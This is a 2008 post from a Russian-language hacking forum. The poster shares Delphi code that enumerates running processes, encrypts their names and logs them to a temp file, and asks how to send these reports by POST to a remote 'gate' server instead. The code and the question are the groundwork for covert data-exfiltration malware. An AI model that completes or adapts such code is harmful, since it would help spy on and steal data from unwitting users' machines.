Показать сообщение отдельно

отсылка данных на гейт
  #1  
Старый 17.06.2008, 17:24
FLIER
Новичок
Регистрация: 25.02.2008
Сообщений: 16
С нами: 9583133

Репутация: 2
По умолчанию отсылка данных на гейт

у меня вопрос...в одном из моих программ есть код...ну например этот:

procedure getpros;
var
hSnap:THandle;
pe:TProcessEntry32;
begin
pe.dwSize:=SizeOf(pe);
hSnap:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS ,0);
If Process32First(hSnap,pe) then begin
While Process32Next(hSnap,pe) do
writeReport(pe.szExeFile);
end;
end;

сам WriteReport выглядит так:

function WriteReport(str:string):string;
var
report: TextFile;
name,key:string;
begin
key:= DelSlesh(CriptKey);
str:= Cript_by_key(str,Key);
name := (TempPath+ NameOfReport);
AssignFile(report,name);
{$I-}
Append(report);
{$I+}
if IOResult<>0 then
begin
Rewrite(report);
Closefile(report);
Append(report);
end
else
Writeln(report,str);
CloseFile(report);
result:= str;
end;

думаю суть уловили...идёт запись в файл...у меня такой вопрос...как мне сделать эту запись не в файл на машине...а сразу отправить ПОСТ запросом гейту..и что-бы он на хосте его записал...
смотрел сдесь...::: http://forum.xakep.ru/m_1094468/mpage_1/key_/tm.htm#1094468
но эти варианты или не работают или не подходят....спасибо всем кто откликнется....не хочу просто ламерски писать....
 
Ответить с цитированием